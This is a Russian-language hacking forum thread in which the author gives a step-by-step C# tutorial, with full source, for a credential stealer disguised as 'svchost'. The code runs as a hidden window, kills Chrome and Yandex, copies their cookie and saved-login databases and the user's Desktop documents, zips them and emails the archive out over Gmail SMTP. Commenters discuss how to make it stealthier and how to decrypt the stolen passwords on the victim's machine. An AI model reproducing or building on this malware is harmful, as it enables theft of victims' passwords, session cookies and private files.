Загрузка...
Авторская статья Пишем ****** за 400 рублей
  1. ginelow
    ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
    Всем привет, а вот и обещанная статья о том как написать свой полноценный *******.

    Вот спойлер, для тех кто не любит читать
    Код

    using System;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using System.IO;
    using System.IO.Compression;
    using System.Diagnostics;
    using System.Net;
    using System.Threading.Tasks;
    using System.Net.Mail;
    using System.Collections.Generic;
    namespace svchost
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
    string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
    string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
    string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
    string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
    string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
    string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
    string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола
    List<string> listFiles = new List<string>(); // пихаем их в этот список
    foreach (string i in files) // пихаем
    {
    string extens = Path.GetExtension(i);
    if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
    {
    listFiles.Add(i); // пихаем
    }
    }
    List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
    foreach(string i in listFiles)
    {
    names.Add(Path.GetFileName(i));
    }


    foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
    {
    i.Kill();
    }

    foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
    {
    i.Kill();
    }

    if (Directory.Exists(_path) == false) // проверка на наличие папки
    {
    DirectoryInfo dir = Directory.CreateDirectory(_path);
    }
    else
    {
    Directory.Delete(_path); // Удаление папки
    }
    for (int i = 0; i < listFiles.Count; i++ )
    {
    if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
    {
    File.Delete(Path.Combine(_path, names[i])); // удаление
    }
    File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
    }
    try
    {
    File.Copy(Login_Data_Chrome, _path); // достаем пароли
    File.Copy(Login_Data_Yandex, _path); // пароли
    File.Copy(Chrome, _path);// куки
    File.Copy(Yandex, _path);//куки
    }
    catch
    {
    /// Кукишь тебе а не куки!
    }
    string pathToLogs = Path.Combine(localappdata, "****.zip"); // создаем путь к будущему архиву
    using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
    {
    if (File.Exists(pathToLogs))
    {
    File.Delete(pathToLogs); // опять проверки, проверки, проверки
    }
    zip.AddDirectory(_path); // создаем архив
    zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
    zip.Save(Path.Combine(pathToLogs));
    }
    //отправка на почту
    MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
    // кому отправляем
    MailAddress to = new MailAddress("your_mail@gmail.com");
    // создаем объект сообщения
    MailMessage m = new MailMessage(from, to);
    // тема письма
    m.Subject = "Тест";
    // текст письма
    m.Body = "<h1>****</h1>";
    // письмо представляет код html
    m.IsBodyHtml = true;
    m.Attachments.Add(new Attachment(pathToLogs));
    // адрес smtp-сервера и порт, с которого будем отправлять письмо
    SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
    // логин и пароль
    smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
    smtp.EnableSsl = true;
    smtp.Send(m);
    // вот и все


    }
    }
    }



    Итак, приступим!

    Что нам понадобиться:
    • Visual Studio 2013 и выше
    • Соединение с интернетом
    • Внимательность
    • Немножко прямые руки тоже не помешают

    Итак, создаем новый проект Windows Forms, переходим в свойства и выставляем следующие значения:
    • FormBorderStyle : None
    • Text : Оставляем пустоту
    • Enabled : False
    • ShowIcon : False
    • TopMost : False
    • TransparencyKey : Кликаем > система > control
    • CausesValidation : False
    • SizeGripStyle : Hide
    Теперь код:
    • Вначале нам понадобятся эти библиотеки :
    Код

    using System;
    using System.Threading.Tasks;
    using System.Windows.Forms;
    using System.IO;
    using System.IO.Compression;
    using System.Diagnostics;
    using System.Net;
    using System.Threading.Tasks;
    using System.Net.Mail;
    using System.Collections.Generic;
    • Дальше обьявим пути до нужных нам файлов:
    Код

    namespace svchost
    {
    public partial class Form1 : Form
    {
    public Form1()
    {
    InitializeComponent();
    string localappdata = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData); // Путь в %localappdata%
    string Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Cookies"); // Куки
    string Login_Data_Chrome = Path.Combine(localappdata, @"\Google\Chrome\User Data\Default\Login Data"); // пароли
    string Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Cookies"); // куки
    string Login_Data_Yandex = Path.Combine(localappdata, @"\Yandex\YandexBrowser\User Data\Default\Login Data"); // пароли
    string _path = Path.Combine(localappdata + @"\svchost"); // папка куда копируются все файлы
    string desktop = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // путь к рабочему столу
    string[] files = Directory.GetFiles(desktop); // Получаем список файлов со стола




    • Теперь отсеиваем, то что нам ненужно:
    Код

    List<string> listFiles = new List<string>(); // пихаем файлы из массива в этот список
    foreach (string i in files) // пихаем
    {
    string extens = Path.GetExtension(i); // Делаем отсев по расширению
    if (extens == ".doc" || extens == ".docx" || extens == ".pdf" || extens == ".txt" || extens == ".xls")
    {
    listFiles.Add(i); // пихаем
    }
    }
    List<string> names = new List<string>(); // получаем имена файлов, так как в том списке, прописан целый путь
    foreach(string i in listFiles)
    {
    names.Add(Path.GetFileName(i));
    }

    • Пока браузеры активны, до файлов нам недобраться, поэтому закрываем их:
    Код

    foreach (var i in Process.GetProcessesByName("chrome")) // Убиваем хром
    {
    i.Kill();
    }

    foreach (var i in Process.GetProcessesByName("yandex")) // Убиваем яндекс
    {
    i.Kill();
    }


    • Теперь создаем папку, куда мы скопируем все наши файлы

    Код

    if (Directory.Exists(_path) == false) // проверка на наличие папки
    {
    DirectoryInfo dir = Directory.CreateDirectory(_path);
    }
    else
    {
    Directory.Delete(_path); // Удаление папки
    }
    for (int i = 0; i < listFiles.Count; i++ )
    {
    if (File.Exists(Path.Combine(_path, names[i]))) // проверка, есть ли в папке похожие файлы, на всякий пожарный
    {
    File.Delete(Path.Combine(_path, names[i])); // удаление
    }
    File.Copy(listFiles[i], Path.Combine(_path, names[i])); // копирование
    }
    try
    {
    File.Copy(Login_Data_Chrome, _path); // достаем пароли
    File.Copy(Login_Data_Yandex, _path); // пароли
    File.Copy(Chrome, _path);// куки
    File.Copy(Yandex, _path);//куки
    }
    catch
    {
    /// Кукишь тебе а не куки!
    }


    • Теперь жмякаем в боковой панели по названию нашего проекта >> управление пакетами NuGet >> В поиске ****аем DotNetZip и устанавливаем его
    • Теперь создаем архив и архивируем нашу папку:
    Код

    string pathToLogs = Path.Combine(localappdata, "****.zip"); // создаем путь к будущему архиву
    using (var zip = new Ionic.Zip.ZipFile(System.Text.Encoding.GetEncoding("utf-8"))) // кодировку ставим
    {
    if (File.Exists(pathToLogs))
    {
    File.Delete(pathToLogs); // опять проверки, проверки, проверки
    }
    zip.AddDirectory(_path); // создаем архив
    zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
    zip.Save(Path.Combine(pathToLogs));
    }



    • И наконец-то отправляем этот архив себе на почту:
    Код

    MailAddress from = new MailAddress("your_mail@gmail.com", "Великий хакер");
    // кому отправляем
    MailAddress to = new MailAddress("your_mail@gmail.com");
    // создаем объект сообщения
    MailMessage m = new MailMessage(from, to);
    // тема письма
    m.Subject = "Тест";
    // текст письма
    m.Body = "<h1>****</h1>";
    // письмо представляет код html
    m.IsBodyHtml = true;
    m.Attachments.Add(new Attachment(pathToLogs));
    // адрес smtp-сервера и порт, с которого будем отправлять письмо
    SmtpClient smtp = new SmtpClient("smtp.gmail.com", 587);
    // логин и пароль
    smtp.Credentials = new NetworkCredential("your_mail@gmail.com", "your_password");
    smtp.EnableSsl = true;
    smtp.Send(m);

    • Вот и все, также можете глянуть на мою прошлую статью(Кликабельно).
    #моястатья
     
    Этот материал оказался полезным?
    Вы можете отблагодарить автора темы путем перевода средств на баланс
    Отблагодарить автора
    11 апр 2018 Изменено

Комментарии

    1. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Держи ссылку goo.gl/HGqJIK
       
    2. Fockstrot
      Fockstrot 11 апр 2018 Заблокирован(а) 1488 14 май 2016
      Авторку за написание стилака,ты нормальный вообще?
      Хотя статья хорошая,потому и сябу поставил
       
    3. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Не, не проще так как пока включен браузер, с ней нельзя производить никаких действий
       
    4. HCKR
      HCKR 11 апр 2018 305 14 фев 2018
      **** на почту в 2к18?)
       
    5. sk1ty
      sk1ty 11 апр 2018 Заблокирован(а) 560 4 июн 2016
      Дайте парню авторку
       
    6. Енот272_inactive171964
      Енот272_inactive171964 11 апр 2018 Ушел на покой 372 6 сен 2017
      спасибо, большое пошел ставить студию что бы потыкать твой стиллак))) тык тык
       
    7. HCKR
      HCKR 11 апр 2018 305 14 фев 2018
      Лол посмотрите на код, вы не получите никаких пассов и куки вообще.
       
    8. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Если есть еще вопросы или предложения, то пиши, может посоветуешь какие нидь утилиты?
       
    9. Енот272_inactive171964
      Енот272_inactive171964 11 апр 2018 Ушел на покой 372 6 сен 2017
      я знаю что прикнеектиться к ней нельзя, но скопировать то ее можно же и тогда подключаться! зачем завершать браузеры, ведь это палево.
       
    10. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Лол, это конструкция try catch, если код не смог выполнится, то он просто игнорит эту ошибку и выполняется дальше
       
    11. legitt_189787
      legitt_189787 11 апр 2018 Заблокирован(а) 936 8 окт 2017
      Чел
      Не ебу как писать это
      Сплошным текстом или че
      Скинь исходник в виде сохранённого проекта VS в лс
      Отблагодарю чем смогу
      (+ я с тлф ,только дедик под рукой)
       
    12. HCKR
      HCKR 11 апр 2018 305 14 фев 2018
      Бля, не мучайте жопу, не работает этот *******.
      Он пиздит только файлы, но не декодит пассы.
       
    13. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Нужно будет попробовать, хотя если ты мне предложишь как это можно сделать программно, то будет тоже неплохо
       
    14. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      в спойлер глянь, там весь код
       
    15. Енот272_inactive171964
      Енот272_inactive171964 11 апр 2018 Ушел на покой 372 6 сен 2017
      просто копируешь бд в какую либо дирректорию и всё. и подключаешься к ней. примерно так.
       
    16. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Да, я и не говорил что декодит, потом мб выложу свой декодер на питоне, у меня уже готовый давно лежит
       
    17. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Вау, даже не додумался, спасибо!
       
    18. HCKR
      HCKR 11 апр 2018 305 14 фев 2018
      декодить нужно на машине жертвы.
      Есть класс у меня для такого.
       
    19. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Напиши потом результат!
       
    20. ginelow
      ginelow Автор темы 11 апр 2018 Заблокирован(а) 68 11 янв 2018
      Если не жалко то в лс
       
Top